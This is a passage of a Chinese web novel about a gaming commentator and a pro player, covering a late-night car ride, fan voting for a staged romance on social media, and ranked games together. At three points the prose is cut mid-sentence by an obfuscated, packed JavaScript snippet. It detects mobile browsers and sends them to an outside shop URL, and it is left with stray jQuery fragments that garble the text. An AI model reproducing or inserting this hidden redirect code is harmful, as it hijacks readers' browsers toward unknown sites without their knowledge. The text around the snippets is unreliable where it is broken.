别看他现在解说了一场要单挑WATA2联排解说的气场都站起来了,他已经完全忘了,他们一主一粉在直播间里的很多次深夜,他都忍不住问小粉丝,真的会有人喜欢我的解说吗。 似乎在小粉丝面前,他什么都不用装,仅仅是一个穷的,残的,两手空空的破烂小解说。 25. 一起车车 第二场比赛陆意扬开启了全方位坑大嘴的模式,一个坑接着一个坑来挖,挖到他自己都觉得厌倦了才住手,不得不说,zonke跟他想象中一样,打游戏的时候花招百出,赏心悦目,毕竟坐在春赛解说席上,陆意扬也得把屁股挪正了,该夸的还是得夸。 而且,陆意扬感觉他可能真的有点怀春了,有点生怕别人看不到他似的,又骚又秀。 啧,要是谈恋爱降了你的手速,我必将你砍成臊子,连同你那个嫂子。 PAX2-0带走了R21,哪怕这都已经打得非常快了,也弄到了十点还要多。 比赛结束之后还要抽出一些幸运观众来送出一些皮肤碎片跟积分。 整栋大楼只有解说室这儿还有人,大家都挺累,都懒得说话都是点头感谢示意。 导儿还要跟其他导播助手之类的做一些总结,后面的椅子上放着一些不怎么好吃的零食,都是一些赞助送来的。 毕竟这次春季赛因为「羊崽」在这儿扔了个深水炸弹,现在补位上来的解说都没有经过系统的培训,所以解说组还是强调了几个点,算是开了小会,一开都是三十分钟。 珂珂哈欠连天。 陆意扬想听听他跟大嘴的互坑影有没有影响。 但是听来似乎是是给弹幕带来一些生机,只要数据好没伤到官方原则基本不管。 赛事组只要观众多就可以了,所以这事儿压根也没人提。 他站在电梯门口,在手机上点顺风车。 珂珂说,“咱俩顺路吗?你往哪个方向回?” “我住大学城那的,你呢。” “那咱俩一个方向,我打吧。”珂珂低头点,“我还有劵,一会儿AA。” “那太行了,我占你便宜了啊珂珂。”陆意扬道,“我这个定位我自己输。” 二人一起从电梯出来,站在路边等车。 “不太好打车,这儿大半夜人太少了,”珂珂低头说,“我们得等好一会儿。” “没事儿,慢慢来吧。”陆意扬道。 有人匆匆从前面路边的车上下来,几步与他们错阶上去,又突然回头,“珂珂!”他喊了一声。 “啊,K哥,你晚上不是打了比赛吗,怎么这会儿在这里?”珂珂问。 “椰哥今天过来开会,回去药盒子找不到了,我顺路来问问是不是落在这儿了,”K哥说,“群里说没看见。” “啊,什么样子的?”珂珂说,“椰哥就只去了会议室吧?” “就是蓝色的四个格子的,长这样,”K哥拿着手机给珂珂看。 “我想起来了,是有,还以为是耳塞呢,”珂珂说,“那你们等我一下,我上去拿。” 珂珂往电梯上走。 K哥扭头跟陆意扬握手,“小六老师,您好。” “你好K哥,”陆意扬说,“久仰。” “今天您解说得挺好的。”开启商业互捧。 陆意扬有点不好意思,“是你们打得好。” 然后两个人站在路边,没两分钟,珂珂就气喘吁吁地下来了,“是这个吗?” “太谢谢你了。”K哥说,“你们怎么回,我捎你们一段吧?” 珂珂看了下手机上还在转圈的单子,“你要是回你们的基地可能就不顺路,算了吧,太晚了,我们打车回去就行。” “不是的,我送我妹妹回去,”K哥说,“大学城方向。” “那可以的,”珂珂拽了一下陆意扬,“这点儿打车太难,那我们俩就恭敬不如从命了。” 陆意扬也只能跟着珂珂往K哥的车上走。 副驾的车窗摇了下来,一个女孩儿伸出头来,她叼着奶茶吸管,她狐疑地看着陆意扬,紧接着惊喜地叫了一声,“小六老师!” “在这儿都能遇到粉丝了啊小六老师,”珂珂撞了一下陆意扬,“行啊。” “这我妹妹。”K哥说。 K哥的妹妹对帅哥格外地热情,“小六老师!你今天解说得真好。” 陆意扬跟K哥的妹妹点头示意,“谢谢。” “上车!”K妹说,“我就不喜欢那个大嘴,感觉口水都要喷我脸上了,我就喜欢听你解说,快上来。” K哥说,“我们得稍微快一点,太晚了她进不去宿舍了。” 打开后座车门—— 狭窄车厢里暖色的光线打在少年的脸上,陆意扬没有任何防备钻了进去,极近地对上了他的眼眸,这他妈车里怎么还有一个人啊! 这TM冤家路窄! 大半夜遇到鬼了吧! 陆意扬的心跳都要停了! 后面的珂珂还得上来,陆意扬僵硬地调整好了自己的坐姿,但是他边上的是女士,他只能往zonke身上再凑一点儿。 但是他似乎没有要稍微收一下腿的意思。 这么没眼力见的吗? 关上车门之后,车厢里的灯也灭了。 说要下车吗?但是珂珂已经坐好了。 车已经发动了,路过减速带,震了一下,陆意扬感觉他的心脏都要吐出来了。 一边是女士,一边是冤家,陆意扬的腿夹得很紧。 K妹转过头来聊天,“年总,今天小六老师夸你玩得老好了你听见了没?” 陆意扬感觉其实他可以走路回去,也无非30多公里也不能把腿走断吧? 太暗了也看不清他的眼神,他转过来看着陆意扬,他说,“没听清,都说什么了?” 陆意扬已经在目测这个天窗能不能容纳他钻出去。 珂珂马上接话,“直播间有直播回放的,可以回去看,我们小六老师解说的可好了,思路特别清晰,弹幕都夸呢!他超厉害的,一路都在坑大嘴,超级了解PAX,好多我都没记得的比赛他都还记得,也好了解你的年总!” 珂珂还挺想这些选手点个赞什么的,陆意扬就可以稍微跟其他解说拉平一下拉票差距的,但是她作为工作人员,不能说的太明显。 K妹边说边点开直播回放,“这弹幕!” 手机里陆意扬的声音传来,在这种场合听自己的解说? 尬得哥们鸡皮疙瘩都起来了。 珂珂往前面趴,“你快进,进到小六老师解说第二把zonke大神放大那一块,那会激情。” “别...别放了。”陆意扬的声音干巴巴的,伸手拒绝但是看起来0人在意,“怪不好意思的。” “没有啊!”K妹说,“我觉得说的特好,是吧?” 也不知道她在问谁。 小小的车厢内只有陆意扬解说的声音,陆意扬的手指抠在自己的牛仔裤上,越听越羞耻,突然面前伸出了一只手,又吓了他一激灵,边上的少年说,“给我看看。” K妹把手机递给谈年,手机上的链子擦过陆意扬的手凉嗖嗖的,就那一下他瞬间鸡皮疙瘩二重奏,不由得瑟缩了一下。 少年低着头看手机,将手机的音量降低。 陆意扬整个如坐针毡,边上的少年又开了口,用只有两个人能听见的声音问,“你很冷吗?” “没。”陆意扬抠着自己的虎口,感觉他被zonke包围了,就是突然他就掏出WATA2游戏上的分身道具,然后变出好几个zonke,然后扛着各种弓箭长枪长戟将陆意扬团团包围了的感觉。 两个女孩儿在那叽叽喳喳,K妹跟珂珂明明是第一次见,但是女孩儿话多,所以相熟得很快。 车里本来是有音乐的,因为他们要看解说所以调低了,这会儿声音被谈年关了,所以K哥给音乐调起来了一点儿。 陆意扬的虎口都要搓起球了。 边上的少年垂眸看着手机里的比赛。 “我快到了!”珂珂说,“K哥,就前面那个小区,停路边就可以。” K妹依依不舍地跟珂珂告别,“怎么这么快就到了,我还没跟你说完呢。” “那我们加个微信,下次一起逛街,一起八卦。”K妹说。 “人家是工作人员。”K哥说。 “哦对对对,”K妹抱着头枕,“那我讲你听行不行?” “那行的。”珂珂举着手说,“我不发表任何意见,只负责点头摇头。” “哎我到了我到了。” 陆意扬觉得他也住在这个小区了,就现在。 陆意扬刚要张嘴,结果珂珂说,“今天给你们添麻烦啦!谢谢你们,我先走啦!奥对了,小六老师,你家我已经在导航里输过了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808785|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“.......谢,谢谢。”陆意扬舔了舔嘴唇,刚刚想要下车的话又咽下去了。 珂珂很快下了车,后排终于宽敞了一些,陆意扬挪着屁股就离谈年远了一点。 谈年将手机还给K妹。 K妹是个话痨,又开始了,“小六老师,你从前是别的游戏的解说吗?” 陆意扬抿紧了嘴,“不是。” “诶那...” “收拾你的东西,快要到学校了,别丢三落四的。”K哥说。 “好吧,”K妹开始检查自己的东西,又说,“哥,到时候你们季后赛的票你给我几张,我跟宿舍的人一起去看嗷。” “自己买。”K哥说。 “你不给是吧,”K妹道,“我回头找B哥要,B哥才是我亲哥。” K妹又在手机看翻微博,“我靠,我这几天考试,忘记看我最喜欢的主播了。” K妹显然没有打算管车里的各位,浑然不管K哥的“别”,就硬生生开始发表自己的意见,“你说这个我的小羊朋友到底是谁啊,我总感觉他是圈内人,离我们特别近,但是呢我又不太希望他被扒马甲,他要是不玩了,我原地注销游戏账号跟他殉情。” ......陆意扬一阵无语。 “好想他,我先骂他一会儿,我靠!我忘记在超话里面签到了!”K妹噼里啪啦地开始操作,“天塌了,我家小羊见不到我会伤心的。” K哥真是无语,“他认识你吗。” “怎么不认识,”K妹说,“他每次都关心我了。” “关心什么了?”陆意扬身边的人突然问。 “昨天关心我的恋菜癖,今天关心我的恋丑癖。”K妹看起来毫不在意,“他说我们追竞女以后干什么都会成功的,仰卧起坐三万回,一边破防一边追。” “.......”陆意扬猛然咳嗽起来,但是只能低头装玩手机。 “怎么了小六老师?”K妹拿了一瓶水给他,但是举着水也不看,谈年接过来,递给了陆意扬。 “谢谢。”陆意扬捏着水,刚开始喝,就见K妹大惊失色地捂住自己的嘴巴,“我们家羊崽太勇了!年总!他拉你搞CP!卖腐!我草,不愧是我的小羊朋友,太不要脸了!我爱看!” “年总你看!”K妹说,“你们这个CP太顶流了,这投票,等会儿,我投哪个?我要好好思考一下...” 陆意扬刚喝下去的水一下子呛了出来。 陆意扬心虚地瞟了谈年一眼,握紧了拳头视死如归地闭上眼睛。 “别瞎说。”K哥轻轻拍了一下K妹的脑壳。 “年总都不在乎,你急什么,”K妹说,“偷偷跟你说,我看见小5小号投了。” 陆意扬还是想咳嗽,但是他真的不能再咳了,忍不住有点抖。 “哥,你一会儿小号也帮我投一下。” K哥刚想骂她,她又说,“都好几个选手切错号了,大号投的呢,哈哈哈哈笑死了。” “不过小六老师,解说圈这次大地震,你能轮上来说实话还得谢谢我家小羊呢,”K妹转过来说,“诶,你手机拿出来,你投小羊当1,行吗?” ? “我......”陆意扬舔了下嘴唇,“什、什么?” “微博呀,”K妹一脸期待地说:“你打开,顺便关注我一下。” 陆意扬的微博那能让人看见吗?! “我,我没下载,”陆意扬说:“我,回家投行吗。” K哥一拳头砸在K妹头上,“现在谁手机上还没微博,小六老师不愿意投听不出来?” “他哪里不愿意了!”K妹捂着头说:“你能不能别妨碍我交朋友啊?” ...... “我...”陆意扬看前面两兄妹都快吵起来了,“我愿意的。” “你看!”K妹说:“小六老师,现在就投!” ? 陆意扬磨磨蹭蹭的,哪里敢把手机掏出来看微博? 拙劣的演技开始找手机了。 诶~我手机呢? 诶!我手机呢.... 旁边的灰色的帽檐转过来,悠悠说:“回家投也来得及,小六老师。” ? 26. 谢谢祝福 K妹在前面下车,她考完试回家之后家里捎了很多东西让她带来给K哥的同事所以拉拉杂杂一大堆,K哥帮着她一起提东西送她进去学校。 车上只有陆意扬跟谈年两个人。 陆意扬觉得更尴尬了。 “我,我抽根烟去。”陆意扬说着话就推开车门下去。 接着就看见谈年摇下来车窗,指尖夹着一根烟。 他小小年纪抽什么烟啊? 陆意扬没话找话,“你年纪不大,别抽了。” 他乖乖地就收回了烟。 他听话得让人感觉诡异。 感觉自己好为人师,不太舒服。 “那个,还给你们添麻烦了。”陆意扬道。 “我蹭车。” 陆意扬点点头,“祝你比赛顺利。” “谢谢。”他望着车外的方向,看也不看陆意扬,似没有任何感情。 陆意扬一直觉得自己是讨厌他的。 可能也夹杂着一点欣赏,有点儿说不清楚。 陆意扬眨了好几下眼睛,夜风吹起车窗上少年的刘海。 他怕谈年突然转过头来,匆匆一瞥就马上别开。 远处的K哥匆匆过来了。 现在陆意扬面对两个选择:后排or副驾。 他个人是不想跟他坐在一起了,感觉好僵硬。 但是莫名其妙坐在前面的话好像又不是很礼貌。 他正在纠结的时候,后排的车门打开了一点儿。 他还要跟我坐? 陆意扬只能硬着头皮又坐上了后座。 K哥在前面系上安全带,看着后视镜开始倒车,“不好意思小六老师,我妹妹话比较多。” “很可爱。”陆意扬道。 “她就喜欢凑热闹,”K哥说,“自来熟。” “挺好的。” 陆意扬身边的谈年低头正在摆弄手机,也不参与他们的谈话。 “对了,我妹妹还在问,你下次解说是什么时候,忘记问你了,说要去直播间天天蹲你。” “我们三组基本上循环。”陆意扬回复。 “对了,小年,你说要买的东西地址你输一下,这么晚还来得及吗?” “来得及。” 陆意扬双手端正地放在自己的膝盖上,窗户边的路牌他已经开始熟悉起来,他马上就到家了,他马上就要解脱了! 看见了熟悉的便利店了! “就前面的便利店就可以。”陆意扬说,“今天给你们添麻烦。” 越来越近了,陆意扬感觉后背都松快了,他坐这30公里的车感觉坐出了3年的牢的感觉。 他抓着自己包,微微跟谈年点头,手已经放在门把手上,准备一到就下车,再也不回头。 车载电话突然就响了,K哥接了起来。 显示的是椰哥。 一接起来,椰哥就在那头问,“小年也跟你出去了?” “嗯,在车上呢。”K哥回答。 “对了,我刚刚给小年打电话他没接,他今天问的那个解...” “有人。”陆意扬身边的少年开口打断。 “哦,”椰哥说,“这有什么呀,那个解...” “挂了。”谈年又开口。 对面的椰哥也不恼,“那你回来再说吧。” 陆意扬更尴尬了,摸了两下自己的耳朵,只盼着早点到家。 谈年打职业的时间并不长,路人王时期应该还没成年,入行时间短的话也没什么花边新闻,现在确实起来了,都开始问姐姐了,啧,烦,还没拉他卖腐卖够呢。 呵呵,今天有比赛,还有时间问姐姐,真够松弛的,输了老子骂死你。 陆意扬有点想挠头,但是最终也没挠,最后的车辆稳稳地停在便利店的边上。 陆意扬马上就开门下车,“谢谢,我先走了,你们注意安全。”然后一溜烟地就跑了。 “我买点东西。”谈年下了车,进了便利店,然后买了一份15块8的盒饭。 “你跑三十公里就买这个?”K哥问。 “嗯。” “你...” “走吧。” 懒得洗澡了,陆意扬往床上一躺他就闭上眼睛,他开始乱七八糟地做梦,梦到zonke把他抓走了,放在电击椅子上,拿着刀质问他,对他这么有礼貌,怎么就要这么黑他。 陆意扬的嗓子好像被人毒哑了,一句话也说不出来,阿巴阿巴地喊,然后zonke就对他发动了技能,一刀一刀砍他,然后他就看见自己头上还显示了血条,正在慢慢掉血。 陆意扬还想解释什么,他的黑粉就骑着摩托车全部都来他家里,还有开着挖掘机的要把他拍死,陆意扬大喊自己的护法,但是他的护法们通通只会拍照发微博,他气得要死,看见zonke像个反派一样哈哈大笑,然后举起斩首大刀。 陆意扬感觉自己好虚弱,他猛地惊醒,发现自己已经一觉睡到大天亮。 手脚都感觉在梦里被打了那样的酸痛。 陆意扬喘了两口气,不行,他得先去把钱提现了再被暴打。 他一上自己的微博,就感觉眼珠子被暴击了。 数不清楚@还以为他被网暴了,但是他天天都在被网暴,又没什么了,他睡眼朦胧地揉了揉自己的眼睛,眯着看了好一会儿,才发现,他的投票真的过了50万。 陆意扬一个鲤鱼打挺坐起来。 等会儿。 哪个神经病给我刷票了?! 陆意扬缓缓地回神过来,盯着自己的手机,开始刷评论。 【什么时候开始追求?】 【有人刷票了?】 【刷票怎么了,就说有没有过50万吧?】 【@PAX-zonke,亲爱的zonke宝宝你准备好我们羊崽的猛烈追求了吗?】 【@zonke后援会,以后我们就是亲家了哦^-^】 【但是羊上跟羊下居然都是50%,这个世纪难题可怎么解?】 【好恶心的评论区,意/淫别人搞基让你高潮了吗?】 【来人啊!举报啊!】 【我们羊崽怎么就配不上你家zonke了?谁还不是WATA顶流了?】 【[图片]WATA2主播人气数据一览,睁开你的狗眼看看?】 【老父亲看着自己的小畜生也是有家庭了,以后要肩负起一个男人的责任啊@羊崽。】 【妈妈祝福你们。】 【@PAX-zonke,以后我们儿子你就多担待了。[鞠躬]】 【告羊圈同胞书:以后不得辱骂/殴打/驱赶zonke家的粉丝,要抱着关爱/友善/包容的心情重组新家庭。】 【滚...】 这评论还在不断地往上滚,后台的粉丝数还在上涨。 陆意扬感觉自己有点丧良心,但是这数据真是太好了。 【羊崽:太感动了各位,感谢你们[害羞]】 【看给孩子高兴得连礼貌这种鬼东西都生出来了。】 【言出必行啊羊崽!】 【你要是没做到,我们将会大规模的脱粉回踩。】 【羊崽,你也不想失去工作吧?[日音]】 【怕你的聘礼不够,老父亲砸锅卖铁[图片]】 打赏的[财神驾到],价值500人民币。 【这个儿媳我虽然看不上但是也尽尽老父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808786|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心意吧[图片]】 打赏了[元宝多多],价值999人民币。 【妈妈已经在给你攒钱了,见面礼先给儿媳妇拿着[图片]】 打赏了[天降金元宝],价值1888人民币。 什么羞耻,什么面子,那都有什么呢? 他追到姐姐再说啊,现在不是只打听呢? 而且他可以拒绝的啊,发个微博的事儿。 于是: 【羊崽:旱上起来一着 ,这么多入祝逼我们,射射大家。宝见,受你一靠子。[爱心][爱心]@PAX-zonke】 就这一条博文,份子钱又开始往上涨了。 陆意扬发完微博之后就去洗澡了,甚至太高兴都开始唱歌了。 等他洗完澡出来,挨个软件开始提现。 陆意扬感觉他这辈子可能都不会有如现在挣钱这么容易的时候。 他哼着小曲儿,把衣服投进洗衣机,这会儿肚子饿了,他忽然发现他昨天下午就往官方那去了,连晚饭都没吃,那里的零食又不好吃,回来的时候便利店都没买东西就直接逃了,所以到现在他都没吃进什么东西。 陆意扬擦了一把头发,躺在沙发上翘着脚看附近有什么外卖可以吃。 点完之后日常看后台。 他滑了一下,有让他卖假/烟的,230块一条的中华。 有让他卖假鞋的,50块一双的A锥。 等会儿?还有推男同APP的? 神经。 但是下面的私信引起了他的注意。 这个陪玩工会他不是第一次看见了。 但是他们的合同做得很到位,看起来好像一个愿打一个愿挨。 这个陪玩工会叫「星月伴你」,算是最近起号比较猛的一个陪玩工会了。 星月的模式是一开始找了不少路人王,高消费的账号来做广告,一般的职业玩家是不怎么参与这些东西的,搞得声势还挺大。 然后最开始说预存多少送多少小时,最开始的时候给的都是高质量陪玩,战绩可查,到后来都说主播已经预定,只能分配一些不怎么样的陪玩。 这是一则。 第二则他们将陪玩的费用压得非常死,经常以单主投诉,时长未到,击杀不满,胜率不够等各式各样的借口打压陪玩的费用。 陆意扬不太想参合到这个事情里面去,因为处理起来实在很麻烦,属于公说公有理,婆说婆有理的状态,所有的买卖都会生龃龉,何况是流动量那么大的工会。 而且讲的不好听的,这些老板也不是很好伺候,那陪玩们自己尽力了但是确实水平就那样。 说不清楚的。 陆意扬匆匆点掉陪玩频道的那些私信,不打算关注这个。 他比较擅长处理那些黑白比较分明的事情。 他收拾了一下包,打算路上吃个早点,然后去学校上课。 他叼着豆浆,自行车手把上挂着包子,在早上9点赶上了课。 他坐在教室里,对着自己的笔记本发愁,他咬着包子,花费了20分钟写了12个字符。 要是写论文有恶心人这么简单就好了。 陆意扬合上了手机,决定今天必须憋出来一点东西,他沉了一口气把手机设置到静音,死死地盯着笔记本。 终于经过他一节课的努力,他憋出了一个屁。 他叹了口气赖在椅子上,歪着打开手机,PAX-zonke赞过? 他点赞了什么视频啊下面一溜全是@羊崽的? 打开一听: “兄弟们,请现在停止你们的抽象发言,别以为这样是有趣的灵魂,实质的行动和真诚才是追求人的正确方式....” 27.腐坛教父 陆意扬在几分钟之后就抓到了zonke的脑回路—— 他不想把嫂子放在明面上。 所以拿我挡热度,啧,这小子还挺鸡贼。 不过对陆意扬来说也是好事:能继续拉他卖腐。 他回家路上已经想了好几波文案,就等着回去一展身手。 甚至连蹬自行车的脚都更用力了。 他将会引用情爱诗词,演奏网恋热曲,贴上各种梗图,势必将这个腐卖成竞圈经典案例,以后若再有人想要卖腐求荣,都得潜心学习这场教科书式卖腐,最后将他奉为竞圈腐坛教父! 想到这里真是让人心潮澎湃啊。 就十多分钟,等他到家的时候评论区还在打,很好。 【羊崽能别往我们zonke身上贴了吗?一股羊骚味。】 【正主句句有回复,粉丝倒是先破防了。】 【毒唯只对真嫂子破防。】 【可别在给这个黑子加热度了,看看这个吧。链接&[zonke女友身份揭秘:http://...]】 啊? 陆意扬点进去一看,里面只有几张像B超一样的照片,还有一段录音,声音嘈杂得要死,但是博主贴出了一些嘉宾证什么的,内容看着似是而非,但是博主言之凿凿,说zonke的女友就是该女子。 完了! 姐姐这么快就被扒出来了? 不行不行不行,你快点,你快点把嫂子保护好啊! 不然陆意扬的收入要断崖下跌! 不是,现在已经都看见了,我要跟你一起保护嫂子! 陆意扬在0.01秒内就作出了反应,先把这一脚插进去,先把热度转移到自己身上! 【羊崽:那你跟她聊吧,有不认识的字问我[微笑]。】 陆意扬还没来得及刷自己的评论,直接这个帖子就没了。 侵权人实名举报?要举着自己身份/证的那种举报? 【PAX-zonke:不是】 吓死人了,下次可不能再这么吓唬哥了哦。 【这是解释给女粉看得吗?】 【我觉得是解释给羊崽看的ovo】 【也没怎么的直接举报澄清一条龙?】 【但是我们羊崽却能如此肆无忌惮...啊...】 【而且我们在这里蹦跶也没有被踢。难道?】 【昨晚上莫名其妙的三十万票是zonke自己刷的吧?】 【其实也是有迹可循了,你看羊崽刚起步的磕磕巴巴的你再看看现在舌战群雄?】 【可笑,你怎么不说zonke刚开始的时候根本没有比赛意识只有个人操作呢?】 【去年羊崽给zonke做的分析视频,PAX是相当依赖前期优势的,zonke要是打不出来前期优势趁早滚蛋,那会儿开始zonke练的英雄都是功能形中单。】 【那zonke那时候刚到PAX,PAX的阵容因为选手变化改动不正常吗?】 【那版本变化之后羊崽说zonke应该打功能中单好联动,难道不是你家zonke排位都一直在练习吗?这也是PAX的教练要求的?】 【你家羊崽也就会嘴皮子上的功夫了,他这么厉害你让他上去打比赛啊!】 【可是你家zonke还留言了,感谢羊崽,不信?截图为证[图片]】 【去年星赛PAX输了,羊崽骂了一夜,这么真情实感看不出来吗?】 【你家羊崽天天就想着圈钱还伟光正了是吗?】 【你别跟我墨迹,你家zonke装白莲花装宽容人设不恶心吗?】 【算鸟算鸟,都不是什么好人,送入洞房!】 【臣附议。】 前面的节奏倒是还好,后面看着头好痛,他们怎么就这么认认真真的讨论游戏干什么,那有什么好讨论的啊?他们就不能讨论讨论感情,上一上份子钱什么的? 他们虽然都再说是给羊崽看的,但是陆意扬自己知道,这一波是给那姐姐看的,这东西大概率是真的。 还在烦恼这事儿呢,刷新了一下评论区: 【弱弱插个楼找人,昨天PAX比赛的那个解说,大嘴旁边那个,有他的微博吗?麻烦指路。】 【那个解说我刷到过他的直播,玩得特别菜。】 陆意扬前一脚还在沾沾自喜,后面就黑了脸。 你才菜...你全家都菜... 我看得懂游戏不就行了... 哥们没残之前也会玩的! 算了,英雄不提当年勇。 【楼上的,你直接看昨晚官方直播间的解说就行,说的挺好的。】 【终于不用被这个煞笔恶心,有能看的解说了。】 【连自己专业都忘了?拜拜脱粉了。】 【@解说小六,就这个,解说的不错,长得也帅。】 他点进去自己八百年不动的解说小号微博,突然发现涨粉了,虽然只有一点点,但这个真是正经差事。 陆意扬又把刚刚的事儿忘了,开始切换账号,特别小心地检查了小号有没有什么不良发言,有没有什么蛛丝马迹,包括点赞,超话,评论,关注。 【解说小六:谢谢大家关注,会努力会给大家带来精彩的赛事解说。我的下次解说在&[WATA2春季赛...]可以提前点上预约,谢谢大家。】 一条微博发出去只有罗伯特这个傻逼AI来了,还回复: 【你努力也不会精彩,不努力会很舒服[调皮]】 相关部门不管一下这个神经病吗? 这个账号的私聊少得让人觉得萧瑟。 【小六老师,昨天忘记留你的联系方式啦!】 陆意扬翻了一下照片,是K妹,互相关注了一下。一关注完,就推出来好多「你可能感兴趣的人。」 顺便关注了PAX-Bking,PAX-Kilig,但是接下来的这个,PAX-zonke.....这个不感兴趣。 K妹很喜欢互动。 秒转发://支持一下小六老师[欢呼] 【Kate喵喵:小六老师,一起打游戏吗?】 【我打得不太好。】 【Kate喵喵:我叫上我哥,我们一起。】 【我真的打得不太好,要拖累你们。】 【Kate喵喵:有什么关系啊,快来吧。&[骂我就是调情]邀请你加入Wata2排位模式一起激情吧,房间号是CP23...】 架不住K妹实在热情,陆意扬硬着头皮上游戏,看了一眼小粉丝是APP上的,想了一下还是要跟他打个招呼。 【6老板:朋友找我打两把游戏,你上线了叫我。】 【N:最近有点忙,不太有时间跟你玩了。】 【6老板:知道,你前一段说过。】 【N:嗯,下了。】 陆意扬进入了K妹的房间。 “喂?小六老师,能听见我说话吗?”K妹语音交流。 “可以。”陆意扬看了下自己的分,有人带他也是挺好的。 “等下我摇一下人啊,怕带你掉分。”K妹说。 “好的,”陆意扬礼貌道,“谢谢,解说报名的分本来就不太够,正好麻烦你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814590|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 房间里是自由麦。 【PAX-5ssss进入了房间】 “ 小5?我哥呢?”K妹问。 “被椰哥叫走了。”小5那头似乎刚睡醒。 “他那个电脑一直弹你的弹窗,我就进来了。”小5说。 “咱得找个厉害的。”K妹说,“小六老师要分,不能输。” “B哥没醒呢,”小5说,“怎么,我还不够厉害啊?” “嘿,嘿嘿嘿,”K妹嫌小5不能带飞的意思明显,又问,“那星哥呢。” “在啊,刚打完一局,我拉他一下。” 然后就听见那边在说,“星啊,你打完没,妙妙带了昨天那个小六解说,要上分。”说着话他又打了个哈欠。 远远地听见了一声嗯,拉我。 陆意扬只歪了一只耳机,就听见小5又说,“哥,你玩不?算了,你也...” “玩。”懒洋洋的一个少年音,都能听见他CTRL+F4后果断的ENTER声。 陆意扬感觉脑壳又麻了。 他在想现在要是直接停电了会不会是一个好借口呢? 或者是家里突然着火了呢? 不知道为什么陆意扬对他就是有一种不可名状的心虚。 他还在思考怎么退出之际,K妹说,“放心吧小六老师,今天我们战无不胜攻无不克!治理一下这个稀巴烂的排位赛。” “啊...”陆意扬还没来得及退出。 PAX-Estrella 进入了房间。 PAX-zonke进入了房间。 5/5,K妹作为房主,直接就开始排位了。 陆意扬舔了两下嘴唇,游戏内的语音里开始热闹起来了。 “这是小六老师,就是你们昨天的那个解说,诶,小六老师你喜欢打什么位置?”K妹问。 “都行,辅助...就可以,我玩得不太好。” “没关系的了,”小5说 ,“随便玩玩反正,叫我哥把对面杀穿就行了,我们就在血池挂机聊天。” “不,不太好吧。”陆意扬说。 “我想打C,那你打野吧,小六老师。”K妹说。 “都行。”陆意扬现在对着四个陌生人聊天,感觉自己都要变成社恐了,而且其中一个还是zonke,怎么想都觉得离了大谱。 BP非常快,第五位的陆意扬拿到了一个打野。 五个人,只有小5跟K妹的嘴很碎。 “诶5啊,别的队伍都在练团,怎么你们都不练团啊?” “说的好像我们消极怠工一样,没什么合适的队伍练啊,我们就前天还练团了呢。” “我怎么不知道啊。”K妹说。 “一个小队伍,打了没到15分钟,还是我哥挑的,菜得要死,人品还差,叫什么来着....诶,风...” “咳...”很轻微的一声咳嗽。 “怎么了哥?你嗓子不舒服?” 连陆意扬都听出来了,这五个人只有他是外人,咳嗽的那个人是不想让自己听见,但是小5就跟听不懂人话一样还在往下说。 “我哥最近就练团的时候跟我们一起玩了,平常不知道跟谁在玩...” 又是一声咳。 陆意扬都说要不自己退了算了,小5又说,“哥,你最近老出门是不是吹感冒了啊。” “那个,”陆意扬打断小5,“下路要不要...” “来了。”一个陆意扬熟悉又不想听见的声音。 “哥,你今天怎么夹着嗓子说话啊,在装深沉吗?”小5疑惑地问。 28.一个死局 其实跟他们上分还是很稳定的,也能说跟他们一起玩体验很好,就是陆意扬总尴尬。 下午K妹还要去上课,PAX的另外两位也回来了,识相的陆意扬听到声音之后就赶紧一只手点着叉说着客套话拜拜下一秒就退出了。 分到了650+离可以去报名解说也已经很近了,陆意扬仰在电竞椅上,屈起一条膝盖抵着下巴,搓了两下砂轮点了一根烟。 他的微博后台私信又多又乱,但是最近热点都是这个叫做「星月伴你」陪玩工会。 比如这一条。 【Sakura:主播你好,我是「星月伴你」的一名陪玩,我是在一年前接触到这个陪玩工会的,刚开始的时候他们工会负责人乐哥跟我说,每一笔陪玩的费用都是按照我们在工会的合同来进行分成的,但是前几天,我的一个单主对着我开黄腔,我无法忍受,却被单主恶意投诉,工会却因此扣除我的陪玩费,我向工会索要这个月的陪玩费还有近三个月的押金并提出退出,他们却要我赔偿违约金。】 其实陆意扬看到这里的时候感觉有点难评,这件事要一个完整的证据链,且他们的合同自然有人发送给过陆意扬,他瞄过一眼觉得不太有把握,且这个陪玩工会挺大,雇起水军来也不会手软,砸选手个人的饭碗都比这个容易。 听起来陆意扬欺软怕硬,但是事实就是如此。 但是接下来她又说: 